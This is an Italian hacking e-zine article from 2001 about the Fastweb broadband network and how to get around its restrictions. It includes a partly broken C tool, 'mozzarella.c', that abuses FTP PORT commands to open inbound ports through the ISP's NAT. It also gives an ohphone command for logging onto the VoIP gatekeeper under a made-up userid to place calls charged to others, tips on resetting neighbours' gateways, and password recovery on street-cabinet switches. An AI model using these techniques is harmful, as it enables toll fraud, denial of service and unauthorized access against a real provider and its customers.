i0 FASTWEB E TU?============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 13 di 18 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ i0 FASTWEB E TU? -----[ naif "Le opinioni e le informazioni espresse nel presente documento appartengono all'autore e non ad aziende: esse non rappresentano in alcuno modo idee, politiche aziendali o servizi specifici se non il pensiero e l'esperienza dell'autore stesso. Il disclaimer standard si applica al presente documento, in particolare modo per la non responsabilita' dell'autore, naif, verso qualunque tipo di danni - causati direttamente o indirettamente e conseguenti alla lettura del presente documento e/o all'utilizzo illegale o fraudolento delle informazioni e/o funzionalita' ivi contenute. naif non si assume alcuna responsabilita' per i contenuti di questo documento e cosi' come di eventuali errori od omissioni e o di qualunque documento, prodotto o servizio da esso derivati, indirettamente o meno. Il presente documento puo' essere liberamente distribuito, pubblicato o copiato con ogni mezzo disponibile a patto che lo stesso non venga modificato in alcun modo e previa autorizzazione scritta dell'autore. E' assolutamente vietato appropriarsi della proprieta' intellettuale dell'opera, ovverosia spacciarsi per l'autore, tradurre questo articolo in altre lingue appropriandosene la paternita' o estrapolare singoli paragrafi spacciandosi per l'autore degli stessi." - Eccomi qui, che sono in ufficio al 10 Luglio e c'e' ben poca gente, e allora, visto che non ho nulla di meglio da fare, mi metto a spiegare come funziona Fastweb, che restrizioni impone a noi utenti Residenziali sfigati, e naturalmente come bypassarle ringraziando naturalmente mamma Cisco x come lavora da cane. - Tra Hackers At Large e vacanze varie, rieccomi che riprendo questo articolo al 25 Agosto con l'intento pero' di aggiungerci cio' che non avrei voluto aggiungerci: dopo 30 minuti di litigata con l'ufficio reclami di Fastweb, penso sia il caso di avviare un sano sputtanamento. - E dopo che non ho fatto un cazzo per un altro bel po' di tempo, mi ritrovo nuovamente a scrivere qui perche' smaster mi ha detto che dobbiamo uscire sabato e io dopo parecchi mesi non ho ancora finito questo articolo. Indice 1. Introduzione 2. Come Funziona Fastweb ( Contratto Residenziale ) 2.1 La rete 2.2.1 Il Cisco Router in casa 2.2.2 Il CPV ( Home Access Gateway ) 3. Problemi e restrizioni della rete Fastweb 3.1 Connessioni DATI via modem 3.2 Limite di 5 MAC Address per porta 3.3 Comunicazione Fastweb <---> Fastweb + Sicurezza 3.4 Comunicazione Internet <---> Fastweb 3.5 Timeout connessioni TCP idle 4. Come ti offro servizi su rete Fastweb 4.1 Come funziona l'FTP 4.2 mozzarella.c - La Teoria 4.3 mozzarella.c - La Pratica 4.4 mozzarella.c - Il Codice 4.5 Idee malate 5. La nuova frontiera del phreaking: Voice Over IP 5.1 phreaking in rete Fastweb 1. Introduzione Fastweb e' il primo fornitore di accesso a "banda larga", 10MB, in Italia, che ha iniziato l'anno scorso a offrire servizi a Milano sfruttando l'infrastruttura in fibra di e-biscom (a tutti gli effetti Fastweb e' di e-biscom), che si sta espandendo a Roma e ha come progetto finale di ritrovarsi una rete con copertura nazionale. Fastweb offre servizi di connettivita' a internet, nonche' telefonia, sfruttando pero' la rete IP tramite VoIP (protocollo h323). Nell'offerta di base (almeno in quella che ho io, ora non so se qualcosa e' cambiato) sono inclusi: - Collegamento a internet 10Mbit/s - Chiamate verso utenti Fastweb gratuite - 4 ore di telefonate locali al mese (non cumulabili) - 2 ore di telefonate nazionali al mese (non cumulabili) - Account di posta per ogni membro della famiglia (max. 6) - Massimo 3 computer collegabili alla rete 2. Come funziona Fastweb ? ( Contratto Residenziale ) Fastweb ha realizzato una MAN (Metropolitan Area Network), praticamente una enorme rete locale (LAN) in fibra su scala metropolitana. 2.1 La rete Nella rete Fastweb la suddivisione di essa e' effettuata in Citta' (Milano) Pop (zona della citta', io sono nella "ovest" ), Minipop (id numerico), Area Elementare (id numerico), Progessivo Edificio (Id numerico). Dallo switch della sede centrale partono cavi in fibra ottica che terminano su i Router di zona (Pop), su cui terminano e ripartono link in fibra verso gli Switch Cisco Cayalyst di quartiere (Minipop). Da questi, i link arrivano fino allo "switch condominiale" che non e' altro che un catalyst che opera a Layer2 che viene installato nella cantina del vostro palazzo ed e' il punto dove termina la fibra e partono i cavi ethernet (1 per ogni cliente) su per il palazzo, terminandovi in casa su una porta rj-45. Questi Switch sono solitamente inseriti in box difficilmente "apribili", ma che, in determinate occasioni, danno la possibilita' a chiunque con un po' di pazienza di aprirli, fare password recovery e averne accesso "non autorizzato". L'indirizzamento viene normalmente gestito tramite DHCP, che assegna a noi, poveri utenti residenziali, ip in classe 10.x.x.x (anche se mi e' stato confermato da alcuni anche ip sulla classe 1.1.x.x, PURA ANARCHIA), mentre con uno sniffer, vediamo tranquillamente il traffico multicast EIGRP e HSRP generato dai router in classe 172.x.x.x : 19:24:12.372791 172.xx.xx.2 > 224.0.0.10: ip-proto-88 40 [tos 0xc0] (ttl 2, id 0, len 60) 19:24:13.132349 172.xx.xx.3 > 224.0.0.10: ip-proto-88 40 [tos 0xc0] (ttl 2, id 0, len 60) 19:24:10.004537 172.xx.xx.2.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48) 19:24:11.536225 172.xx.xx.3.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48) 19:24:12.944679 172.xx.xx.2.1985 > 224.0.0.2.1985: [udp sum ok] udp 20 [tos 0xc0] (ttl 2, id 0, len 48) HSRP sta per "Hot Standby Router Protocol" ed e' utilizzato dai router cisco per gestire configurazioni in failover, per cui un router e' master e l'altro e' slave e se il primo fallisce il secondo si attiva. EIGRP sta per "Enhanced Interior Gateway Routing Protocol" ed e' un protocollo di routing proprietario cisco che supporta il VLSM e altre funzionalita' tipiche dei protocolli di routing Link-State moderni. Proprio molto interessante e' quest'ultima classe, dove troviamo al .1 .2 e .3 i router, mentre dal .5 in su ci sono gli IP dei CPV. Su internet si esce tramite PAT (Port Address Translation), la tecnologia di NAT che su linux si chiama MASQUERADING (piu' ip interni, escono su un solo ip esterno), facendo uscire intere zone con un unico ip pubblico su internet. Ovviamente e' possibile effettuare solo connessioni dall'interno verso l'esterno, e solo tcp e udp. 2.2.1 Il Cisco Router in casa Inizialmente nelle nostre case, veniva posto un Cisco 2600 con schede VoIP, che, tramite password recovery, rivelava interessanti dettagli sulla configurazione, quali i gateway h323, i codec utilizzati in ordine di priorita' (G.729, G.711, G.722), nonche' username e password degli sfigatissimi consulenti IBM che venivano a installare le apparecchiature. Attualmente questo viene installato solo nei contratti aziendali da lire 250.000, lira +, lira -. 2.2.2 Il CPV ( Home Access Gateway ) Una volta pronti in serie i CPV (chiamati da Fastweb Home Access Gateway), hanno iniziato a montare questi graziosi dispositivi hardware, delle dimensioni di un una scatola di Ferrero roche', che hanno le caratteristiche che potete trovare sul sito del produttore telsey: http://www.telsey.it/sheet.asp?ID=CPV Le sue funzioni sono essenzialmente 2: - Funziona da "hub" per i pc domestici - Funziona da proxy h323, in questo modo noi possiamo collegare fino a 2 normali telefoni alle sue prese rj-11, e lui pensera' a far viaggiare la vostra voce su IP al + vicino gatekeeper. N.B.: Notare la feature "Tracking call for security", il che significa che sono gia' predisposti per consentire le intercettazioni... Questi simpatici aggeggini sono gestibili via SNMP mentre via web e' possibile visualizzarne la configurazione e, meraviglia delle meraviglie, "resettarli" (e qui c'e' solo il primo dei possibili Denial Of Service che potreste fare al vostro vicino di casa che vi rompe le palle perche' avete la musica troppo alta e lui sta telefonando). AGGIORNAMENTO: ho notato che nel nuovo firmware chiede una password per resettarli, ma ovviamente avrete gia' capito quale e'. 3. Problemi e restrizioni della rete Fastweb Nonostante Fastweb sia stata avvertita dei problemi che ora vi esporro', sembrerebbe che di utenti che notano queste cose siano 1 su 10000, mentre i restanti 9999 si godono i filmatini in streaming ASF, e scaricano mp3 400k/s, felici di avere quei 10Mb sotto al culo. 3.1 Connessioni DATI via modem Essendo il sistema telefonico basato su una architettura VoIP, i collegamenti dati funzionano solo con alcuni modem, come mi e' stato confermato dall'helpdesk Fastweb, e a basse velocita'. Quindi, se tra di voi c'e' ancora qualche fanatico del wardialing (consiglio sempre di rifarsi periodicamente 800-89-XXXX), evitate di eliminare il contratto con un operatore fisso, in quanto le vostre connessioni dati faranno pena. ATTENZIONE, RICORDATE CHE IN CASO DI EMERGENZA, SE VA VIA LA CORRENTE, NON POTRETE EFFETTUARE CHIAMATE DI EMERGENZA PERCHE' IL CPV SI SPEGNERA', IDEM PER LO SWITCH IN CANTINA. 3.2 Limite di 5 MAC Address per porta A quanto pare, quei furboni di fastweb sui Cisco Catalyst in cantina hanno fatto si' che per ogni porta tutti i mac address in transito vengono registrati e al sesto che incontrano mettono in shutdown l'interfaccia. A me quando si e' rotta la scheda PCMCIA del portatile, una volta montata la nuova e' andata giu' la rete, ho chiamato l'helpdesk fastweb, che mi ha spiegato la situazione, e io mi sono incazzato come un'ape. Quando ho cambiato lavoro, nuovo notebook, lo collego e mi va giu' di nuovo la rete. Unica soluzione: avere una macchina che fa da Firewall facendo nat su un ip interno Fastweb, ma ovviamente una doppia NAT prima di arrivare su internet aggiunge notevoli problemi nel capire dove intervenire quando qualcosa non funziona. 3.3 Comunicazione Fastweb <---> Fastweb + Sicurezza Nonostante non tutte le reti interne siano raggiungibili fra di loro, una grossa parte lo e', ed e' facile incontrare parecchie lan di varie aziende completamente "sbragate" in quanto il link interno "fastweb" non viene visto come un rischio e l'idea di un firewall non sembra opportuna (come i link x.25 o i RAS messi su numeri verdi d'altronde). Sarebbe inoltre carino creare delle comunita' virtuali sfruttando la rete interna Fastweb (io lancio l'idea, chi la raccoglie mi contatti...). 3.4 Comunicazione Internet <---> Fastweb Noi possiamo collegarci a internet, ma utenti internet non possono collegarsi verso di noi, e qui non ci sono piu' i soliti problemucci idioti stile "non ho un ip fisso" che alla fine si risolve con dynamic dns, ma il problema e' proprio strutturale e la risoluzione di questo e' uno dei due punti "caldi" dell'articolo. 3.5 Timeout connessioni TCP idle Questo problema, probabilmente non verra' riscontrato da tutti, ma comunque da molti, in quanto non in tutte le zone e' stata fatta questa modifica da quei deficienti di fastweb. A quanto pare, dato che tutte le connessioni effettuate sono inserite nella tabella di connessioni del router di fastweb, loro possono gestirle come gli pare e hanno impostato che il timeout di qualsiasi connessione TCP che sia "idle" per 60 secondi viene automaticamente resettata (nel senso che manda un RST a tutti e 2 i peer della comunicazione). Questo comporta "parecchi svantaggi"... tanto per elencarne qualcuno: - Se siete su irc, ogni 60 secondi di idle venite disconnessi. - Se lavorate in ssh/telnet su un terminale dopo 60 secondi venite disconnessi. - Se scaricare un file via ftp senza avere "hash" attivo, e impiegate piu' di 60 secondi per scaricare un file, la connessione di controllo viene resettata e il piu' dei client ftp "si impallano". 4. Come ti offro servizi su rete Fastweb Come descritto precedentemente, uscendo tutti quanti in PAT, non abbiamo modo di permettere connessioni in ingresso e quindi avere il nostro sito web con il mirror di ftp.kernel.org o quello che vi pare. Durante un viaggio in treno con recidivo verso verona, andando a casa di cyrax, mi e' venuto il flash, l'illuminazione! La madonna si e' presentata davanti a me e mi ha sussurrato nell'orecchio "hey naif, usa l'ftp..." . Oh yeah! Grazie dio, tu si' che hai capito tutto! L'implementazione pratica di questo giochino e' stata fatta con XXXXXX (non vuole fare sapere il suo nome... posso capirlo), con scleri notevoli per fare tunnel pppd over ssh, port forwarding, masquerading e minchiate varie, il tutto per poterlo fare collegare sulla mia macchina di casa passando dalla mia box in ufficio. Prima di tutto e' necessario spiegare in poche righe come funziona una connessione FTP... 4.1 Come funziona l'FTP L'ftp e' un protocollo che utilizza 2 canali, uno per i comandi e uno x trasferire i file che a sua volta opera in diverse modalita' (attiva e passiva), e la gestione di questo da parte dei firewall e' sempre stata molto complessa, e ha spesso rivelato interessanti modi per bypassarli. Nella modalita' attiva il client comunica al server una porta locale a cui quest'ultimo dovra' collegarsi per inviare/ricevere file. Nella modalita' passiva il client comunica al server di volere utilizzare questa modalita' tramite il comando PASV, e a questo punto il server gli risponde indicando la porta a cui il client dovra' collegarsi per inviare/ricevere file. A noi interessa mostrare il funzionamento della modalita' attiva per cui una normale sessione avviene in questo modo: Client: 192.168.1.4 Server: 172.16.1.9 Il client si collega all'ftp server sulla porta 21/tcp dove invia tutti i comandi e riceve le relative risposte: Canale di controllo Client ----------------> 21/tcp Server USER pinco ----------------> <--------------- 331 Insert your password please. PASS pallino ---------------> <--------------- 230 Password correct, Thanks! Ora i comandi per scaricare il file in /pub/test_file utilizzando la modalita' attiva: PORT 192,168,1,4,100,99 -------------> <------------- 200 PORT command successful. RETR /pub/test_file --------------> <------------- 150 Opening BINARY mode data connection for test_file A questo punto il server FTP si colleghera' alla porta 25699/tcp di 192.168.1.4 per inviargli il file. 172.16.1.9:$RANDOM ----------------> 192.168.1.4:25699 * Nota: il formato del comando PORT e': n1,n2,n3,n4,z1,z2 dove n* e' un ip che al posto dei punti ha le virgole, e dove z1 e z2 vengono utilizzati per calcolare la porta di destinazione nel formato: ( z1*256 + z2 ) . Bella merda l'ftp vero? Ora che abbiamo capito come funziona la modalita' attiva, pensiamo a come i router e i firewall devono gestire questo complesso processo quando c'e' di mezzo la NAT considerando tutti i problemi che derivano dal fatto che: 1 - Quando il client lancia il comando PORT utilizza un IP interno che deve essere riscritto e non e' un semplice header, ma un comando nel payload del pacchetto che deve essere parsato. 2 - Quando la mappatura non e' one-to-one, ma si usa il PAT, potrebbero "teoricamente" esserci altri utenti che lanciano un comando PORT con la stessa porta di destinazione, che andrebbe eventualmente riscritta anch'essa. 3 - Se io lancio un comando PORT dall'interno, dovrebbe potersi collegare a me solo e soltanto il server a cui io ho lanciato questo comando. 4 - Quando lancio un comando PORT, il router dovrebbe permettere il canale di ritorno solo dopo avere ricevuto un bel return code "200 PORT command successful" dal server. Naturalmente alcune di queste cose non si verificano nel modo corretto, in particolare a noi interessano i punti 3 e 4 ed e' cosi' che andiamo a capire come montare un webserver sfruttando i 10MB dell'abbonamento residenziale Fastweb. 4.2 mozzarella.c - La Teoria Da come avrete gia' capito, il nome del programma che e' stato creato per svolgere questo compito e' "mozzarella", di cui ne andiamo a spiegare il funzionamento. Quando si apre una connessione FTP in modalita' attiva, come avete letto prima, il client si collega al server per lanciare i comandi, mentre per la connessione DATA e' il server a collegarsi al client. Quando io, utente Fastweb, mi collego a un ftp server e scarico un file, il cisco router che mi presenta su internet si preoccupera' di riscrivere il comando PORT e di consentire una connessione dall'ftp server a me, aprendo un canale temporaneo fra IP_DI_PAT:PORTA ------> MIO_IP_INTERNO:PORTA . WOW, quindi un modo per offrire servizi esiste! Ovviamente Cisco, a seguito di un comando PORT, permette la connessione verso IP_DI_PAT:PORTA da qualunque host, per cui se io configuro un web server sulla mia porta 30000, mi collego in ftp a un qualsiasi ftp server e lancio il comando PORT con ultimi parametri 115,560 (che appunto fa' (115*256=29440) + 560 = 30000 ), chiunque da internet potra' aprire una connessione verso la porta 30000/tcp dell'ip di PAT. Abbiamo ora capito come funziona, ma ovviamente un servizio web richiede l'apertura di piu' connessioni contemporanee da parte del browser, quindi si rende necessario utilizzare piu' ftp server e sopratutto piu' connessioni verso cui lanciare costantemente i comandi PORT. Da test effettuati sul campo sono riuscito a consentire l'inizializzazione di circa 10 connessioni al secondo con una perdita di 2 connessioni su 632 utilizzando 3 ftp server remoti con 3 connessioni per ogni ftp server lanciando 4 comandi PORT al secondo. Quindi con: - 9 connessioni tcp - 3 ftp server - 36 PORT/secondo riusciamo a consentire in ingresso: - 10 connessioni/secondo Inoltre, in benchmark da me fatti ho avviato alcune sessioni e sono arrivato a 41 sessioni established generando un troughput di 1200kbit/s. root@XXXXX:~# netstat -na|grep 30000 | grep -c ESTABLISHED 41 4.3 mozzarella.c - La Pratica Nella realta' pero', utilizzare "mozzarella" richiede per comodita' l'utilizzo di un server esterno dato che non possiamo consentire connessioni su porte <=1023 e per qualche motivo strano, su cui non abbiamo voglia di approfondire, solo =>30000. Proprio per questo motivo e' difficile dare in giro l'url di un sito dicendo che e' qualcosa tipo http://www.sito.com:30000 ed allora conviene appoggiarsi a un qualsiasi web server esterno, su cui mettere un redirect verso http://IP_DI_PAT:PORTA . Bisogna inoltre rendersi conto che inviare 36 PORT/s a un ftp server, puo' dare fastidio al sysadmin di questo ftp server: rispettate la netiquette e fatevi installare un ftp server "finto" da qualche vostro amico. L'help di mozzarella penso sia sufficientemente esplicativo: Usage: ./mozzarella [-h][-u username -p password][-a][-H host] [-P port_to_open][-L localhost] -h this help -u username for ftp -p password for ftp -H ftp host -L your local ip -P the port to bounce -a use anonymous ftp -r number of PORT commands to send for each server any second -i number of session for ftp 4.4 mozzarella.c - Il Codice <-| mozzarella.c |-> /* L'autore non e' conosciuto e comunque non si assume alcuna responsabilita' per l'utilizzo di questo programma che viene distribuito senza alcuna garanzia e per puri scopi educativi. Tale programma e' distribuito sotto la licenza GPL presente all'url: http://www.gnu.org/licenses/gpl.html Benchmark: 3 servers, 3 instances per server, 10 connections/second, 2 dropped on 632 :) */ #include #include #include #include #include #include #include #include #include #include #include #define ONESEC 1000000 /* usecs :) */ #define ANONPWD "modella@lamozzerlla.fastweb.sux" unsigned long int resolv(char *host) { unsigned long int ip; struct hostent *he; ip = inet_addr(host); if(ip != -1) return ip; he = gethostbyname(host); if(he != NULL) { memcpy(&ip, he->h_addr, sizeof(unsigned long int)); return ip; } fprintf(stderr, "Cannot resolve %s\n", host); perror("gethostbyname"); } int /* -1: EOF, 0: not endline, 1: endline */ ftp_readline(char *buf, int maxsz) { int islast = 0; if(!fgets(buf, maxsz, stdin)) return -1; if(buf[3] == ' ') islast = 1; while(!strchr(buf, '\n')) if(!fgets(buf, maxsz, stdin)) return islast; return islast; } int ftp_connect(char *host, int port) { int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in sin; if(s<0) { perror("socket"); return -1; } sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = resolv(host); if(sin.sin_addr.s_addr == -1) { close(s); return -1; } if(connect(s, (struct sockaddr *)&sin, sizeof(sin))<0) { perror("connect"); close(s); return -1; } return s; } int ftp_status(char *s) { char p[5]; memcpy(p, s, 4); p[4] = 0; return atoi(p); } int ftp_login(char *u, char *p) { char buf[4096]; int r; while(!(r = ftp_readline(buf,sizeof(buf)))) ; if(r < 0) { fprintf(stderr, "Error reading from socket..\n"); return -1; } printf("USER %s\r\n", u); fflush(stdout); if((r = ftp_readline(buf, sizeof(buf)))<0) { fprintf(stderr, "Error reading from socket..\n"); return -1; } if(ftp_status(buf) == 230) return 0; if(ftp_status(buf) != 331) { fprintf(stderr, "Error logging in : %s\n", buf); return -1; } if(!r) { while(!(r = ftp_readline(buf, sizeof(buf)))) ; if(r < 0) fprintf(stderr, "Error reading from socket...:%s\n", buf); return -1; } printf("PASS %s\r\n", p); fflush(stdout); if((r = ftp_readline(buf, sizeof(buf)))<0) { fprintf(stderr, "Error reading from socket..\n"); return -1; } if(ftp_status(buf) == 230) { if(!r) while(!(r = ftp_readline(buf, sizeof(buf)))) ; return 0; } fprintf(stderr, "Error loggin in: %s\n", buf); return -1; } void splitip(char *host, int *v) { struct in_addr tmp; char *stmp, *q; tmp.s_addr = resolv(host); stmp = strdup(inet_ntoa(tmp)); q = strtok(host, "."); v[0] = atoi(q); q = strtok(NULL, "."); v[1] = atoi(q); q = strtok(NULL, "."); v[2] = atoi(q); q = strtok(NULL, "."); v[3] = atoi(q); free(stmp); } int ftp_port(int ip[4], int port) { char dummy[1024]; int i; printf("SYST\r\n"); printf("PORT %u,%u,%u,%u,%u,%u\r\n", ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF); #ifdef VERBOSE fprintf(stderr, "PORT %u,%u,%u,%u,%u,%u\r\n", ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF); #endif fflush(stdout); if(ftp_readline(dummy, sizeof(dummy))<0) return -1; else return 0; }; int create_instances(int num, char *host, int fport, char *u, char *p, int *lip, int port, int pps) { int masterpid = getpid(), new; while(num) { new = fork(); if(new == 0) return childmain(host,fport,u,p,lip,port); usleep(ONESEC/3); num--; } } int main(int argc,char **argv) { int c; int port = -1,anonymous=0, ftpport=21,instances=3,hostnum=0, pps = 4; char *host[256], *pass=NULL, *local=NULL, *user = NULL, *s; int local_ip[4]; while((c = getopt(argc, argv, "i:hu:p:aH:P:L:S:r:"))!=EOF) switch(c) { case 'r': pps = atoi(optarg); break; case 'i': instances = atoi(optarg); break; case 'u': user = optarg; break; case 'p': pass = optarg; break; case 'H': if(hostnum==256) { printf("No more space\n"); break; } host[hostnum++] = optarg; break; case 'a': anonymous = 1; break; case 'P': port = atoi(optarg); break; case 'L': local = optarg; break; case 'h': default: printf("Usage: %s [-h][-u username -p password][-a][-H host][-P port_to_open][-L localhost]\n", argv[0]); printf("\t-h this help\n"); printf("\t-u username for ftp\n"); printf("\t-p password for ftp\n"); printf("\t-H ftp host\n"); printf("\t-L your local ip\n"); printf("\t-P the port to bounce\n"); printf("\t-a use anonymous ftp\n"); printf("\t-r number of PORT commands to send for each server any second\n"); printf("\t-i number of session for ftp\n"); printf("You can specify MORE -H switches.\n"); exit(1); break; } if(!anonymous && (!user||!pass)) { printf("User and/or password missing AND anonymous mode not specified\n"); exit(1); } if(!host || port <0) { printf("FTP host or port not specified\n"); exit(1); } splitip(local, local_ip); if(anonymous) { user = "anonymous"; pass = ANONPWD; } for(c = 0; c 4.5 Idee malate Si pensava anche a un'altra idea malata possibile avendo a disposizione 2 link, uno con Fastweb e uno con un altro carrier (magari una adsl sfigata), per offrire anche un servizio di FTP con routing asincrono (EHHHHHHHHH PAROLONEEEEEEEE!!!). Cioe': pensiamo al client che si collega all'ftp server sull'IP pubblico della ADSL ed e' costretto ad utilizzare la modalita' passiva. In questo modo e' il server a dire al client: "". E se io modifico l'ftp server affinche', tramite mozzarella, mi apra una porta sul mio IP di PAT sul link con Fastweb e risponda al comando "PASV" del client con un bel: 227 Entering Passive Mode (MIO,IP,DI,PAT,+LA,PORTA) ? Vuole dire che avremo un bell'FTP server asimmetrico che gestisce la connessione di controllo su un canale(l'adsl o flat che sia), mentre ne impiega un altro per il canale DATI (Fastweb). Se qualcuno implementa questa cosa me lo faccia sapere :) 5. La nuova frontiera del phreaking: Voice Over IP Volevo, in questo paragrafo, fare una piccola riflessione sul fenomeno del phreaking in Italia negli ultimi anni... Prima si boxava x andare su BBS, Party Line e reti X.25 . Quanti di voi ricordano i country direct, le blue box, e quelle dolci sessioni che suonavano cosi': Guatemala Buenas Dias? Tiri, Tiri', tuuuuuuuuuuuuu e si faceva Wardialing a manetta su 16789XXXX (Range su cui era ed e' pieno di numeri che rispondono dall'altra parte del globo) per trovare paesi C5 e/o carrier di ogni tipo. Poi tutto questo e' passato, i sistemi telefonici C5 praticamente sono rimasti in ben pochi e boxabili solo da alcuni paesi, le reti X.25 non se le caga piu' nessuno, e allora ci siamo messi tutti felicemente a fare wardialing per bucare i peggio sistemi, raggiungere le intranet delle societa' piu' fighe del mondo, scoprendo segreti inimmaginabili. Passato questo periodo, e arrivata internet, c'e' stata una MOLE DI GENTE ENORME che faceva wardialing per trovare i "GreenZ", numeri verdi per collegarsi a internet e irc pullulava di gente che faceva trading di questi numeri. Oggi anche questo periodo e' passato e la gente se ne sbatte di fare wardialing, tanto ci sono le FLAT (con cui la gente ci prende belle denuncie, vedi Galactica e Edisontel incazzati) e c'e' la Broad Band della ADSL (su cui nessuno ha ancora porcheggiato con l'ATM... coraggio ragazzi, dateci dentro che le reti ATM sono tutte da smontare). E Il phreaking adesso? Si' certo, c'e' ancora una elite (e qui non intendo il termine l33t, ma intendo proprio POCHI) di persone che si dilettano sui numeri verdi e su X.25 facendo i blackhat alla grande, ma il resto delle persone ha completamente dimenticato il phreaking per colpa dell'IP. SVEGLIA!!!!!!!!! Andiamo a fare phreaking su IP con il Voice Over IP!!!! Ma avete visto Fastweb? Ma avete visto Voispring di Tiscali e numerosi altri servizi basati sulla suite di protocolli H323 ? Mi aspetto che noi Italiani daremo una smossa alla scena mondiale del phreaking, quindi iniziate ad andare su http://www.openh323.org, leggetevi gli standard sull'H323, createvi il vostro centralino VoIP, e fatevi chiamare da qualche amico. 5.1 phreaking in rete Fastweb Ma rieccoci qui a parlare di fastweb e vedere come fare phreaking nella sua rete. Premesso che il phreaking non e' la mera azione di "chiamare gratis", ma e' l'esplorazione del funzionamento dei sistemi telefonici e di quelli ad essi strettamente correlati, andiamo a vedere un filo come funziona la telefonia di Fastweb. Come ho spiegato in precedenza, il CPV incorpora le funzioni di proxy h323, permettendovi di collegare ad esso un normalissimo telefono (con uscira rj-11) e ricevere e fare telefonate in modo completamente trasparente alla infrastruttura tecnologica che c'e' sotto. Ovviamente a noi proprio quella interessa... Quando voi alzate la cornetta, il CPV si collega immediatamente al gatekeeper VoIP, che nel nostro caso e' un Cisco Router con un IOS (Internet Operating System) "speciale", che si occupera' di instradare le chiamate lungo il percorso migliore. Ovviamente se effettuate una chiamata verso una utenza Fastweb, questa rimarra' su IP, e sara' routata verso il CPV di destinazione, mentre se e' verso una utenza Fissa o Mobile, Fastweb provvedera' a instradare la chiamata su rete GSM o verso il carrier telefonico giusto. Ma ora chiediamoci: Come fa Fastweb a fare l'operazione di "accounting", ovvero sapere quante e quali telefonate facciamo in modo da farci pervenire la bolletta a casa? La risposta e' anche il modo con cui noi andremo a telefonare gratis... Dovete sapere che quando si effettua una chiamata VoIP, e' necessario identificarsi sul gatekeeper con uno "userid" ed eventualmente con una "password" (ma non obbligatoriamente). Come avrete intuito fastweb basa tutto sul solo "userid" che in questo caso e' il vostro numero di telefono su rete Fastweb, mentre, come nota, nelle infrastrutture VoIP "serie" chiunque viene identificato con la propria email e per effettuare le chiamate deve autentificarsi sul gatekeeper con una password. Ma allora cosa succede se noi proviamo a utilizzare software che supportano l'H323 come ohphone del progetto Openh323, o linphone (http://simon.morlat.free.fr/english/linphone.html) o ancora netmeeting sotto windows per collegarsi al gatekeeper usando come userid la la parola "OsamaBinLaden"? root@somewhere:~# ./ohphone_1.1pl1 -r -u OsamaBinLaden -t -g IP.DEL.GATE.KEEPER NUMERO_DA_CHIAMARE. Gatekeeper set: nome_del_gatekeeper@IP.DEL.GATE.KEEPER OsamaBinLaden is calling host NUMERO_DA_CHIAMARE Command ? 0:05.836 H225CallThread:83f4680 transports.cxx(1023) TCP Started connection to IP.DEL.GATE.KEEPER:1720 (if=10.xxx.xxx.xx:1062) Started logical channel: sending G.711-ALaw-64k{sw} <4> Started logical channel: receiving G.711-ALaw-64k{sw} <4> Ringing phone for "IP.DEL.GATE.KEEPER" ... Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!!!!!!! Ci siamo loggati sul gatekeeper e stiamo facendo una chiamata addebitando il costo della chiamata all'utente OsamaBinLaden (e spero che fastweb gli mandi una bolletta salata!). Scusate se ho nascosto IP.DEL.GATE.KEEPER e 10.xxx.xxx.xx, ma potete anche capire il perche'... Allora, diciamo che mi sono anche rotto le palle di scrivere e vi esorto TUTTI ad approfondire il funzionamento del VoIP, prendendo tutto il materiale disponibile da http://www.openh323.org e altri siti. Studiare l'h323 e' anche un po' una sfida perche' per avere gli standard che sono ITU, si dovrebbe sborsare dai 20$ ai 100$ e non si possono comunque redistribuire tali documenti. Good Luck! -- Bibbliogafia Per approfondire il funzionamento dell'ftp "in pratica" leggete l'ottimo paper di D. J. Bernstein su: http://cr.yp.to/ftp.html Per approfondire il funzionamento dell'EIGRP: http://www.cisco.com/warp/public/103/1.html Per approfondire il funzionamento dell'HSRP: http://www.cisco.com/warp/public/619/index.shtml Per approfondire il funzionamento dell'H323: http://www.openh323.org/standards.html Si ringrazia: vim Si salutano: TUTTI (non ho voglia di scrivere i nomi di chi merita di essere salutato altrimenti se me ne scordo qualcuno poi vengo linciato). Se usate il Frame Buffer sotto linux provate ad eseguire cat /dev/urandom >> /dev/fb0 naif ============================================================================== --------------------------------[ EOF 13/18 ]--------------------------------- ==============================================================================